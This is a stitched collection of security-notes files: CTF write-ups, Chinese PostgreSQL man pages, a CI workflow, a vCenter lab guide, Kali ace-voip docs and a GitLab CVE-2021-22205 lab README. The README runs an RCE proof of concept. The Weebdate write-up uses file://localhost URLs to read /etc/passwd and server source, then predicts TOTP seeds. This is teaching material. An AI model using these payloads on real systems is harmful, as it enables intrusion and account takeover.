So, without knowing much about video processing or signals, we're just going to take a wild guess and hope that these are RGB values. Our first step would be to try and extract the first frame from the video stream, by translating the last three columns to RBG values between `0` and `255` and saving the result as a still image. However, before doing that we need to understand what's the width of the image. There might be some standard or a way to extract this from the signals, but we're just going to play around with different widths until we find something that looks good. For that, we hack up the following utility:
```python
import tkinter
from PIL import Image, ImageTk
import csv
import sys
MAX_WIDTH = 1024
class WidthSelector():
def __init__(self, path) -> None:
self.pixels = []
with open(path) as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
for row in csv_reader:
self.pixels.append(tuple(map(lambda x: self.convert(float(x)), row[2:5])))
self.root = tkinter.Tk()
self.root.geometry('1024x768')
width_var = tkinter.StringVar(self.root)
width_var.set(600)
self.spinner = tkinter.Spinbox(self.root, from_ = 1, to = MAX_WIDTH, command = self.spinbox_callback, textvariable = width_var)
self.spinner.bind('<Return>', self.spinbox_callback)
self.spinner.pack()
self.canvas = tkinter.Canvas(self.root, width = MAX_WIDTH, height = MAX_WIDTH)
self.canvas.pack()
self.spinbox_callback()
def run(self):
self.root.mainloop()
def convert(self, original_value):
old_min = -0.43
old_max = 0.3
new_max = 255
new_min = 0
return int((((original_value - old_min) * (new_max - new_min)) / (old_max - old_min)) + new_min)
def spinbox_callback(self, event = None):
width = int(self.spinner.get())
height = len(self.pixels) // width
newImage = Image.new("RGB", (width, height))
newImage.putdata(self.pixels[:width * height])
self.image = ImageTk.PhotoImage(newImage)
self.canvas.create_image(400, 400, image = self.image)
if __name__ == "__main__":
ws = WidthSelector(sys.argv[1])
ws.run()
```
Running it on the first CSV, with the initial width of `600`, we get:

However, increasing to `794`, we get a reasonable image:

Moving to `795` produces the following:

So we can't seem to get a straight image, but let's see if we can work with what we have. The next thing we'd want to do is extract more frames. However, notice how we're using up (almost) all of the pixels just to draw this image. This means that there are no more frames.
Repeating the procedure for the other CSVs, we observe someone approaching a whiteboard and writing something on it. The last CSV gives us the most information, since it also contains the output of an OCR:

It says:
```
Today's password:
CTF|V1de0_g?aphi?s_4???y|
```
So, we're close, but we need to identify the missing letters. However, it's pretty hard given the image. Notice how the red, green and blue pixels don't seem to overlap in the image we've received. Again, there probably is a better way of fixing this, but with more trial and error I was able to get a better quality image by manually applying offsets to align all colors:
```python
import csv
from PIL import Image
def convert(original_value):
old_min = -0.43
old_max = 0.3
new_max = 255
new_min = 0
return int((((original_value - old_min) * (new_max - new_min)) / (old_max - old_min)) + new_min)
with open('download/7.csv') as csv_file:
values = []
csv_reader = csv.reader(csv_file, delimiter=',')
for i, row in enumerate(csv_reader):
values.append(tuple(map(lambda x: convert(float(x)), row[2:5])))
size = (795, 500)
img = Image.new("RGB", size)
pixels = []
counter = 0
for i, row in enumerate(values):
if len(pixels) == size[0] * size[1]:
img.putdata(pixels)
img.save(f"out.png")
break
pixels.append((values[i][0],values[i+25][1], values[i+1][2]))
if i % (795*2) == 0:
pixels.append((0,0,0))
```
This produces:

The text still isn't very clear, but we can see that the `g` in `g?aphi?s` is a capital, and that the character before the last one looks like `4`. From here, it's just plain old guessing: `CTF{V1de0_Graphics_4rr4y}`.
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "ALTER USER" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
ALTER USER \- 改变数据库用户帐号
.SH SYNOPSIS
.sp
.nf
ALTER USER \fIname\fR [ [ WITH ] \fIoption\fR [ ... ] ]
where \fIoption\fR can be:
[ ENCRYPTED | UNENCRYPTED ] PASSWORD '\fIpassword\fR'
| CREATEDB | NOCREATEDB
| CREATEUSER | NOCREATEUSER
| VALID UNTIL '\fIabstime\fR'
ALTER USER \fIname\fR RENAME TO \fInewname\fR
ALTER USER \fIname\fR SET \fIparameter\fR { TO | = } { \fIvalue\fR | DEFAULT }
ALTER USER \fIname\fR RESET \fIparameter\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBALTER USER\fR 用于更改用户的 PostgreSQL 帐号的属性。 没有在该命令中出现的属性保持原值。
.PP
这条命令模式中的第一个变种修改某些全局用户权限和认证设置。 (见下文获取细节。)只有数据库超级用户可以用这条命令改变这些权限和使口令失效。普通用户只能修改它们自己的口令。
.PP
第二个变种改变用户的名字。只有数据库超级用户才能重新命名用户帐户。 当前会话用户不能重命名。(如果想这么干,先用另外一个用户账号连接。)
.PP
第三和第四个变种修改用户会话的特定配置变量的缺省值。 当该用户随后启动一个新的会话时,声明的数值将成为会话的缺省,覆盖 任何出现在 postgresql.conf 里,或者从 postmaster 命令行接收到的设置。 普通用户可以修改它们自己的会话缺省。超级用户可以修改任何用户的缺省。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
想进行属性更改的用户名字。
.TP
\fB\fIpassword\fB\fR
此帐号所使用的新口令。
.TP
\fBENCRYPTED\fR
.TP
\fBUNENCRYPTED\fR
这些关键字控制口令是否以加密形式存在 pg_shadow 里。 (参阅
CREATE USER [\fBcreate_user\fR(7)]
获取这个选项的更多信息。)
.TP
\fBCREATEDB\fR
.TP
\fBNOCREATEDB\fR
这个子句定义该用户创建数据库的能力。 如果声明了CREATEDB,该用户可以创建她自己的数据库。 用NOCREATEDB将剥夺一个用户创建数据库的能力。
.TP
\fBCREATEUSER\fR
.TP
\fBNOCREATEUSER\fR
这个子句决定一个用户能否创建新用户。 这个选项同样还令该用户成为超级用户,可以超越所有访问限制。
.TP
\fB\fIabstime\fB\fR
该用户帐号口令的过期的日期(和可选的时间)。 要设置一个口令从不过期,可以用'infinity'。
.TP
\fB\fInewname\fB\fR
用户的新名字。
.TP
\fB\fIparameter\fB\fR
.TP
\fB\fIvalue\fB\fR
把该用户特定的配置变量的会话缺省设置为给定的数值。 如果 value 为 DEFAULT 或者使用了等效的 RESET,那么删除用户相关的变量, 并且该用户将在新会话中继承缺省设置。使用 RESET ALL 清除所有设置。
参阅 SET [\fBset\fR(7)] 和 Section 16.4 ``Run-time Configuration'' 获取有关可用变量和数值的更多信息。
.SH "NOTES 注意"
.PP
使用 CREATE USER [\fBcreate_user\fR(7)]
创建新用户和 DROP USER [\fBdrop_user\fR(7)] 删除用户。
.PP
\fBALTER USER\fR 无法改变一个用户的组的成员性。 用
ALTER GROUP [\fBalter_group\fR(7)]
实现这个目地。
.PP
使用 ALTER DATABASE [\fBalter_database\fR(7)],我们还可能把一个会话缺省和某个数据库绑定起来,而不是和某个用户绑定。
.SH "EXAMPLES 例子"
.PP
更改一用户口令:
.sp
.nf
ALTER USER davide WITH PASSWORD 'hu8jmn3';
.sp
.fi
.PP
更改一用户有效期:
.sp
.nf
ALTER USER manuel VALID UNTIL 'Jan 31 2030';
.sp
.fi
.PP
更改一用户有效期, 声明其权限应该在用比UTC早一小时的时区记时的 2005 年 5 月 4 日正午失效
.sp
.nf
ALTER USER chris VALID UNTIL 'May 4 12:00:00 2005 +1';
.sp
.fi
.PP
令用户永远有效:
.sp
.nf
ALTER USER fred VALID UNTIL 'infinity';
.sp
.fi
.PP
赋予一用户创建新用户和新数据库的权限:
.sp
.nf
ALTER USER miriam CREATEUSER CREATEDB;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
\fBALTER USER\fR 语句是 PostgreSQL 扩展。SQL 标准将用户的定义交给实现完成。
.SH "SEE ALSO 参见"
CREATE USER [\fBcreate_user\fR(7)], DROP USER [\fBdrop_user\fR(l)], SET [\fBset\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
name: CI
# Controls when the action will run.
on:
# Triggers the workflow on push or pull request events but only for the master branch
push:
branches: [ master ]
# A workflow run is made up of one or more jobs that can run sequentially or in parallel
jobs:
# This workflow contains a single job called "build"
build-and-deploy:
# The type of runner that the job will run on
runs-on: ubuntu-latest
# Steps represent a sequence of tasks that will be executed as part of the job
steps:
# Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it
- name: Checkout
uses: actions/checkout@v2.3.1 # If you're using actions/checkout@v2 you must set persist-credentials to false in most cases for the deployment to work correctly.
with:
persist-credentials: false
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: '3.8'
- name: Install requirements
run: python3.8 -m pip install -r requirements.txt
- name: Install Material Insiders
if: github.event.pull_request.head.repo.fork == false
run: python3.8 -m pip install git+https://${{ secrets.ACCESS_TOKEN }}@github.com/iromise/mkdocs-material-insiders.git
- name: Build Docs
run: python3.8 ./scripts/docs.py build-all
- name: Deploy to Netlify
id: netlify
uses: nwtgck/actions-netlify@v1.1
with:
publish-dir: 'site'
production-deploy: false
github-token: ${{ secrets.GITHUB_TOKEN }}
enable-commit-comment: false
env:
NETLIFY_AUTH_TOKEN: ${{ secrets.NETLIFY_AUTH_TOKEN }}
NETLIFY_SITE_ID: ${{ secrets.NETLIFY_SITE_ID }}
- name: Deploy to Github Pages
uses: JamesIves/github-pages-deploy-action@3.7.1
with:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
BRANCH: gh-pages # The branch the action should deploy to.
FOLDER: site # The folder the action should deploy.
CLEAN: true # Automatically remove deleted files from the deploy branch
|
sec-knowleage
|
# vCenter
---
## 环境搭建
访问 https://customerconnect.vmware.com/patch 下载 iso
下载 VMware-VCSA-all-6.7.0-17028579.iso
提取里面这个 ova 文件
导入到 VMware 虚拟机安装,部署选项选择 Tiny 即可:
然后按照引导安装,网络配置参考宿主机,设置成相同的网段、相同的网关和 DNS,以便后续顺利访问。
> 首先确认好自己的虚拟机桥接的网卡是哪张,以及桥接的网段 ip 是啥
我这边宿主机 IP 为 192.168.8.130,网关和 DNS 均为 192.168.8.1,子网掩码为 255.255.255.0,那虚拟机设置如下
然后配置 sso 密码,和 root 密码,这里为了方便,就配置成 Abcd1234 了.
配置完后,点击导入,进行初始化,稍作等待,即可看到如下的界面
此时域名为 photon-machine,没有对应的 DNS,需要手动修改域名为刚才设置的 IP(192.168.8.250)
按“F2”手动修改域名,“enter”进入网络配置:
进入 DNS 配置将主机名从默认的 photon-machine 修改为 IP 地址(192.168.8.250):
保存,等它自动重启网络
回到开始的页面,这时之前的域名已经变成了 IP:
接下来访问 https://192.168.8.250:5480/ 继续配置:
选择设置后用 root 账号登陆, 按照向导继续配置,注意在网络配置阶段把系统名称修改为 IP:
然后设置 SSO 密码,一路下一步
安装完成会打开 443 端口,此时就可以正常访问 vCenter 了
---
## 开启 SSH
vcenter 的 ssh 要在后台配置才能访问
登录 5480 端口上的 vCenter VAMI 登录页面,点击 Access -- Edit.
开启 SSH Login 选项就行了
---
## Source & Reference
- [VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识](https://mp.weixin.qq.com/s/eamNsLY0uKHXtUw_fiUYxQ)
- https://blog.ukotic.net/2020/08/06/enable-ssh-on-vcenter-server-7/
- https://mp.weixin.qq.com/s/kPoYhbCPZb62t71-jbO1dA
|
sec-knowleage
|
# GitLab Pre-Auth Remote Commands Execution (CVE-2021-22205)
[中文版本(Chinese version)](README.zh-cn.md)
GitLab is a web-based DevOps lifecycle tool that provides a Git repository manager providing wiki, issue-tracking and continuous integration and deployment pipeline features.
An issue has been discovered in GitLab CE/EE affecting the versions starting from 11.9. GitLab was not properly validating image files that is passed to a file parser which resulted in an unauthenticated remote command execution.
References:
- https://hackerone.com/reports/1154542
- https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
- https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml
## Vulnerable environment
Execute following command to start a GitLab Community Server 13.10.1:
```
docker compose up -d
```
After the server is started, browse the `http://your-ip:8080` to see the website.
## Exploit
The api endpoint `/uploads/user` is an unauthenticated interface. Attack the server through the [poc.py](poc.py):
```
python poc.py http://your-ip:8080 "touch /tmp/success"
```

`touch /tmp/success` has been executed successfully:

|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "ALTER CONVERSION" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
ALTER CONVERSION \- 修改一个编码转换的定义
.SH SYNOPSIS
.sp
.nf
ALTER CONVERSION \fIname\fR RENAME TO \fInewname\fR
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBALTER CONVERSION\fR 修改一个编码转换的定义。 目前能用的唯一的一个功能是重命名这个转换。
.SH "PARAMETERS 参数"
.TP
\fB\fIname\fB\fR
一个现有的编码转换的名字(可以有模式修饰)。
.TP
\fB\fInewname\fB\fR
转换的新名字。
.SH "EXAMPLES 例子"
.PP
把编码转换 iso_8859_1_to_utf_8 重新命名为 latin1_to_unicode:
.sp
.nf
ALTER CONVERSION iso_8859_1_to_utf_8 RENAME TO latin1_to_unicode;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
SQL 标准里没有 ALTER CONVERSION 语句。
.SH "SEE ALSO 参见"
CREATE CONVERSION [\fBcreate_conversion\fR(7)], DROP CONVERSION [\fBdrop_conversion\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# Cameras (Crypto, 300p)
In the task we get [encrypted png](sec.png).
Our first guess is that it's going to be classic repeating key xor, so we try to solve it as such.
We know the constant 16 bytes of PNG header, so we can xor the first 16 bytes of the encrypted file to recover first 16 bytes of the xor key, and then xor the whole file with this key repeated.
We might be missing some bytes in the key by we can try padding it with 0 until we get some reasonable results for some padding length.
We can always look for some constant parts we should find -> IDAT, IHDR, IEND.
```python
import codecs
from crypto_commons.generic import xor
def main():
with codecs.open("sec.png", "rb") as input_file:
data = [ord(c) for c in input_file.read()]
header = [137, 80, 78, 71, 13, 10, 26, 10]
key = xor(data, header)
print(key)
with codecs.open("out.png", "wb") as output_file:
output_file.write("".join([chr(c) for c in xor(data, key*10000)]))
main()
```
It turns that the recovered key is `[255, 255, 255, 255, 255, 255, 255, 255]` so it's even simpler then we expected.
Whole file is actually xored with the same value `0xFF`, or basically bits are negated.
We get: 
|
sec-knowleage
|
# 设计模式目录
## 一、前言
设计模式是解决问题的方案,学习现有的设计模式可以做到经验复用。拥有设计模式词汇,在沟通时就能用更少的词汇来讨论,并且不需要了解底层细节。
## 二、创建型
- [单例.md](设计模式%20%20-%20单例.md)
- [简单工厂.md](设计模式%20-%20简单工厂.md)
- [工厂方法.md](设计模式%20-%20工厂方法.md)
- [抽象工厂.md](设计模式%20-%20抽象工厂.md)
- [生成器.md](设计模式%20-%20生成器.md)
- [原型模式.md](设计模式%20-%20原型模式.md)
## 三、行为型
- [责任链.md](设计模式%20-%20责任链.md)
- [命令.md](设计模式%20-%20命令.md)
- [解释器.md](设计模式%20-%20解释器.md)
- [迭代器.md](设计模式%20-%20迭代器.md)
- [中介者.md](设计模式%20-%20中介者.md)
- [备忘录.md](设计模式%20-%20备忘录.md)
- [观察者.md](设计模式%20-%20观察者.md)
- [状态.md](设计模式%20-%20状态.md)
- [策略.md](设计模式%20-%20策略.md)
- [模板方法.md](设计模式%20-%20模板方法.md)
- [访问者.md](设计模式%20-%20访问者.md)
- [空对象.md](设计模式%20-%20空对象.md)
## 四、结构型
- [适配器.md](设计模式%20-%20适配器.md)
- [桥接.md](设计模式%20-%20桥接.md)
- [组合.md](设计模式%20-%20组合.md)
- [装饰.md](设计模式%20-%20装饰.md)
- [外观.md](设计模式%20-%20外观.md)
- [享元.md](设计模式%20-%20享元.md)
- [代理.md](设计模式%20-%20代理.md)
## 参考资料
- 弗里曼. Head First 设计模式 [M]. 中国电力出版社, 2007.
- Gamma E. 设计模式: 可复用面向对象软件的基础 [M]. 机械工业出版社, 2007.
- Bloch J. Effective java[M]. Addison-Wesley Professional, 2017.
- [Design Patterns](http://www.oodesign.com/)
- [Design patterns implemented in Java](http://java-design-patterns.com/)
- [The breakdown of design patterns in JDK](http://www.programering.com/a/MTNxAzMwATY.html)
|
sec-knowleage
|
---
title: ace-voip
categories: Information Gathering
tags: [sniffing,information gathering,ace-voip,enumeration,kali linux,cdp]
date: 2016-10-18 15:22:00
---
# ace-voip包描述
ACE(自动公司枚举器)是一个简单而强大的VoIP公司目录枚举工具,模拟IP电话的行为,以便下载给定手机可在其屏幕界面上显示的名称和扩展条目。 以同样的方式,VoIP硬件电话的“企业目录”功能使用户能够通过他们的VoIP手机通过名称轻松拨号,ACE的开发是来自一个针对名字企业目录实现“VoIP Hopper”自动化VoIP攻击的研究想法。 这个概念意味着将来可以基于用户的名字对用户进行攻击,而不是针对随机RTP音频流或IP地址定位VoIP流量。ACE通过使用DHCP,TFTP和HTTP工作,以便下载VoIP公司目录。 然后将目录输出到文本文件,该文本文件可用作其他VoIP评估工具的输入。
**资料来源:** http://ucsniff.sourceforge.net/ace.html
[ace-voip主页](http://ucsniff.sourceforge.net/ace.html) | [Kali ace-voip Repo](http://git.kali.org/gitweb/?p=packages/ace-voip.git;a=summary)
- 作者:Sipera VIPER实验室
- 许可证:GPLv3
## ace-voip包中包含的工具
### ace - 一个简单的VoIP企业目录枚举工具
```
root@kali:~# ace
ACE v1.10:自动企业(数据)枚举器
用法:ace [-i 接口] [-m 物理地址] [-t tftp服务器ip地址 | -c cdp模式 | -v 语音vlan id | -r vlan接口 | -d详情模式]
-i(必选)嗅探/发送报文的接口
-m(必选)受害者的IP地址IP电话
-t(可选)tftp服务器ip地址
-c(可选)0 CDP嗅探模式,1 CDP欺骗模式
-v(可选)输入语音 vlan ID
-r(可选)删除VLAN接口
-d(可选)详情 | 调试模式
示例用法:
使用-m选项需要提供的IP电话的MAC地址
用法:ace -t -m
通过DHCP选项150(-m)自动发现TFTP服务器IP的模式
示例: ace -i eth0 -m 00:1E:F7:28:9C:8E
指定TFTP服务器的IP地址的模式
示例: ace -i eth0 -t 192.168.10.150 -m 00:1E:F7:28:9C:8e
指定语音vlan id的模式
示例: ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8E
详情模式
示例: ace -i eth0 -v 96 -m 00:1E:F7:28:9C:8E -d
移除vlan接口的模式
示例: ace -r eth0.96
在CDP的侦听模式下自动发现语音vlan ID
示例: ace -i eth0 -c 0 -m 00:1E:F7:28:9C:8E
在CDP的欺骗模式下自动发现语音vlan ID的模式
示例: ace -i eth0 -c 1 -m 00:1E:F7:28:9C:8E
```
## ace-voip用法示例
```
root@kali:~# 即将推出
```
---
译者:Jack,校对:Jack, Sunnyelf
原文链接https://tools.kali.org/information-gathering/ace-voip
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "GRANT" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
GRANT \- 定义访问权限
.SH SYNOPSIS
.sp
.nf
GRANT { { SELECT | INSERT | UPDATE | DELETE | RULE | REFERENCES | TRIGGER }
[,...] | ALL [ PRIVILEGES ] }
ON [ TABLE ] \fItablename\fR [, ...]
TO { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...] [ WITH GRANT OPTION ]
GRANT { { CREATE | TEMPORARY | TEMP } [,...] | ALL [ PRIVILEGES ] }
ON DATABASE \fIdbname\fR [, ...]
TO { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...] [ WITH GRANT OPTION ]
GRANT { EXECUTE | ALL [ PRIVILEGES ] }
ON FUNCTION \fIfuncname\fR ([\fItype\fR, ...]) [, ...]
TO { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...] [ WITH GRANT OPTION ]
GRANT { USAGE | ALL [ PRIVILEGES ] }
ON LANGUAGE \fIlangname\fR [, ...]
TO { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...] [ WITH GRANT OPTION ]
GRANT { { CREATE | USAGE } [,...] | ALL [ PRIVILEGES ] }
ON SCHEMA \fIschemaname\fR [, ...]
TO { \fIusername\fR | GROUP \fIgroupname\fR | PUBLIC } [, ...] [ WITH GRANT OPTION ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
\fBGRANT\fR 命令将某对象(表,视图,序列,函数过程语言,或者模式) 上的特定权限给予一个用户或者多个用户或者一组用户。 这些权限将增加到那些已经赋予的权限上,如果存在这些权限的话。
.PP
键字 PUBLIC 表示该权限要赋予所有用户, 包括那些以后可能创建的用户。PUBLIC 可以看做是一个隐含定义好的组,它总是包括所有用户。 任何特定的用户都将拥有直接赋予他/她的权限,加上他/她所处的任何组, 以及再加上赋予 PUBLIC 的权限的总和。
.PP
如果声明了 WITH GRANT OPTION,那么权限的受予者也可以赋予别人。 缺省的时候这是不允许的。赋权选项只能给独立的用户,而不能给组或者 PUBLIC。
.PP
对对象的所有者(通常就是创建者)而言,没有什么权限需要赋予, 因为所有者缺省就持有所有权限。(不过,所有者出于安全考虑可以选择废弃一些他自己的权限。) 删除一个对象的权力,或者是任意修改它的权力都不是可赋予的权利所能描述的; 它是创建者固有的,并且不能赋予或撤销。
.PP
根据对象的不同,初始的缺省权限可能包括给 PUBLIC 赋予一些权限。缺省设置对于表和模式是没有公开访问权限的; TEMP 表为数据库创建权限;EXECUTE 权限用于函数; 以及 USAGE 用于语言。对象所有者当然可以撤回这些权限。 (出于最大安全性考虑,在创建该对象的同一个事务中发出 REVOKE; 那么就不会打开给别的用户使用该对象的窗口。)
.PP
可能的权限有:
.TP
\fBSELECT\fR
允许对声明的表,试图,或者序列 SELECT [\fBselect\fR(7)] 任意字段。还允许做
COPY [\fBcopy\fR(7)] TO 的源。 对于序列而言,这个权限还允许使用 currval 函数。
.TP
\fBINSERT\fR
允许向声明的表 INSERT [\fBinsert\fR(7)] 一个新行。 同时还允许做 COPY [\fBcopy\fR(7)] FROM。
.TP
\fBUPDATE\fR
允许对声明的表中任意字段做 UPDATE [\fBupdate\fR(7)] 。 SELECT ... FOR UPDATE 也要求这个权限 (除了 SELECT 权限之外)。比如, 这个权限允许使用nextval 和 setval。
.TP
\fBDELETE\fR
允许从声明的表中 DELETE [\fBdelete\fR(7)] 行。
.TP
\fBRULE\fR
允许在该表/视图上创建规则。(参阅 CREATE RULE [\fBcreate_rule\fR(7)] 语句。)
.TP
\fBREFERENCES\fR
要创建一个外键约束,你必须在参考表和被参考表上都拥有这个权限。
.TP
\fBTRIGGER\fR
允许在声明表上创建触发器。(参阅
CREATE TRIGGER [\fBcreate_trigger\fR(7)] 语句。)
.TP
\fBCREATE\fR
对于数据库,允许在该数据库里创建新的模式。
对于模式,允许在该模式中创建新的对象。 要重命名一个现有对象,你必需拥有该对象并且。 对包含该对象的模式拥有这个权限。
.TP
\fBTEMPORARY\fR
.TP
\fBTEMP\fR
允许在使用该数据库的时候创建临时表。
.TP
\fBEXECUTE\fR
允许使用指定的函数并且可以使用任何利用这些函数实现的操作符。 这是适用于函数的唯一的一种权限类型。 (该语法同样适用于聚集函数。)
.TP
\fBUSAGE\fR
对于过程语言, 允许使用指定过程语言创建该语言的函数。 这是适用于过程语言的唯一的一种权限类型。
对于模式,允许访问包含在指定模式中的对象(假设该对象的所有权要求同样也设置了)。 最终这些就允许了权限接受者"查询"模式中的对象。
.TP
\fBALL PRIVILEGES\fR
一次性给予所有适用于该对象的权限。 PRIVILEGES 关键字在 PostgreSQL 里是可选的, 但是严格的 SQL 要求有这个关键字。
.PP
其它命令要求的权限都在相应的命令的参考页上列出。
.SH "NOTES 注意"
.PP
REVOKE [\fBrevoke\fR(7)] 命令用于删除访问权限。
.PP
我们要注意数据库超级用户可以访问所有对象, 而不会受对象的权限设置影响。这个特点类似 Unix 系统的 root 的权限。和 root 一样,除了必要的情况,总是以超级用户身分进行操作是不明智的做法。
.PP
If a superuser chooses to issue a \fBGRANT\fR or \fBREVOKE\fR
command, the command is performed as though it were issued by the
owner of the affected object. In particular, privileges granted via
such a command will appear to have been granted by the object owner.
.PP
目前,要在 PostgreSQL 里只对某几列赋予权限, 你必须创建一个拥有那几行的视图然后给那个视图赋予权限。
.PP
使用 \fBpsql\fR(1) 的 \fB\\z\fR 命令获取在现有对象上的与权限有关的信息。
.sp
.nf
=> \\z mytable
Access privileges for database "lusitania"
Schema | Table | Access privileges
--------+---------+---------------------------------------
public | mytable | {=r/postgres,miriam=arwdRxt/postgres,"group todos=arw/postgres"}
(1 row)
.sp
.fi
\fB\\z\fR 显示的条目解释如下:
.sp
.nf
=xxxx -- 赋予 PUBLIC 的权限
uname=xxxx -- 赋予一个用户的权限
group gname=xxxx -- 赋予一个组的权限
r -- SELECT ("读")
w -- UPDATE ("写")
a -- INSERT ("追加")
d -- DELETE
R -- RULE
x -- REFERENCES
t -- TRIGGER
X -- EXECUTE
U -- USAGE
C -- CREATE
T -- TEMPORARY
arwdRxt -- ALL PRIVILEGES (for tables)
* -- 给前面权限的授权选项
/yyyy -- 授出这个权限的用户
.sp
.fi
用户 miriam 在建完表之后再做下面的语句, 就可以得到上面例子的结果
.sp
.nf
GRANT SELECT ON mytable TO PUBLIC;
GRANT SELECT, UPDATE, INSERT ON mytable TO GROUP todos;
.sp
.fi
.PP
如果一个给定的对象的 "Access privileges" 字段是空的, 这意味着该对象有缺省权限(也就是说,它的权限字段是 NULL)。 缺省权限总是包括所有者的所有权限,以及根据对象的不同,可能包含一些给 PUBLIC 的权限。 对象上第一个 GRANT 或者 REVOKE 将实例化这个缺省权限(比如,产生 {=,miriam=arwdRxt}) 然后根据每次特定的需求修改它。
.SH "EXAMPLES 例子"
.PP
把表 films 的插入权限赋予所有用户:
.sp
.nf
GRANT INSERT ON films TO PUBLIC;
.sp
.fi
.PP
赋予用户manuel对视图kinds的所有权限:
.sp
.nf
GRANT ALL PRIVILEGES ON kinds TO manuel;
.sp
.fi
.SH "COMPATIBILITY 兼容性"
.PP
根据 SQL 标准,在 ALL PRIVILEGES 里的 PRIVILEGES 关键字是必须的。SQL 不支持在一条命令里对多个表设置权限。
.PP
SQL 标准允许在一个表里为独立的字段设置权限:
.sp
.nf
GRANT \fIprivileges\fR
ON \fItable\fR [ ( \fIcolumn\fR [, ...] ) ] [, ...]
TO { PUBLIC | \fIusername\fR [, ...] } [ WITH GRANT OPTION ]
.sp
.fi
.PP
SQL 标准对其它类型的对象提供了一个 USAGE 权限:字符集,校勘,转换,域。
.PP
RULE 权限,以及在数据库,模式,语言和序列上的权限是 PostgreSQL 扩展。
.SH "SEE ALSO 参见"
.PP
REVOKE [\fBrevoke\fR(7)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
## Weebdate (web, 500p, 69 solves)
### PL Version
`for ENG version scroll down`
Zadanie polegało na zdobyciu hasła oraz sekretnego kodu `TOTP` wykorzystywanego do podwójnej autentykacji dla użytkownika pewnego serwisu internetowego. Zadania nie udało nam sie finalnie rozwiązać, ale jedynie z braku czasu (znaleźliśmy kluczową podatność na kilka minut przed końcem CTFa). Niemniej kilkanaście minut więcej wystarczyłoby na uporanie się z zadaniem, bo wiedzieliśmy jak należy to zrobić. To co udało nam się ustalić jest na tyle wartościowe, że postanowiliśmy to opisać.
Hasło użytkownika można było uzyskać za pomocą słownikowego brute-force, ponieważ strona informowała nas czy niepoprawne podaliśmy hasło czy kod weryfikujący. W efekcie nawet bez kodu mogliśmy spokojnie brute-forceować samo hasło.
Problemem był sekretny kod pozwalający na generowanie kodów TOTP. Udało nam się zaobserwować, że kod jest generowany na bazie pierwszych 4 znaków loginu oraz adresu IP, ale nie wiedzieliśmy nadal w jaki sposób powstaje kod. Nie wiedzieliśmy także skąd wziąć adres IP użytkownika (niemniej przypuszczaliśmy że tylko fragment adresu IP jest brany pod uwagę i możliwe że tu także będzie się dało coś wykonać prostym brute-force).
W zadaniu szukaliśmy podatności dość długo analizując wszelkie aspekty jakie przychodziły nam do głowy - SQL Injection, Cookies, XSS...
Kluczem do zadania okazał się formularz edycji naszego profilu gdzie mogliśmy podać link do pliku z awatarem. Serwer próbował otworzyć ten plik w trakcie zapisywania zmian w profilu ale nie obsługiwał błędów w sposób poprawny, niewidoczny dla użytkownika.
W efekcie podanie niepoprawnego URLa wyświetlało nam kilka cennych informacji - językiem w którym napisana była strona był `python` a awatar był otwierany przez `urllib.urlopen()`. Dodatkowo podanie ścieżki do pliku który nie jest obrazkiem powodowało wyświetlenie `zawartości tego pliku w logu błędu`.
Istotnym aspektem funkcji urllib.urlopen() jest to, że można ona otwierać nie tylko pliki zdalne ale także `lokalne`.
Pierwsze próby były nieudane ponieważ próba otwarcia pliku z lokalnej ścieżki kończyła sie błędem. Okazało się, że server wymaga podania parametru `netpath`, więc dodajemy `localhost` do naszej lokalnej ścieżki i próbujemy otworzyć:
`file://localhost/etc/passwd`

Operacja zakończyła się powodzeniem więc wiedzieliśmy, że mamy możliwość czytania plików na serwerze. Zaczęliśmy od sprawdzenia gdzie jest uruchomiona aplikacja którą sie zajmujemy. Czytanie:
`file://localhost/proc/self/cmdline`
Pozwoliło stwierdzić że jest to `/usr/sbin/apache2-kstart`
Przeanalizowaliśmy więc pliki konfiguracyjne:
`file://localhost/etc/apache2/ports.conf`

`file://localhost/etc/apache2/sites-enabled/000-default.conf`

Co pozwoliło nam poznać ścieżkę do aplikacji. Następnie wyświetliśmy zawartość pliku `server.py` który wykorzystywał plik `utils.py`
`file://localhost/var/www/weeb/server.py`
`file://localhost/var/www/weeb/utils.py`
W pliku `utils.py` znajdujemy brakujący element układanki:
```
def generate_seed(username, ip_address):
return int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0]
def get_totp_key(seed):
random.seed(seed) return pyotp.random_base32(16, random)
```
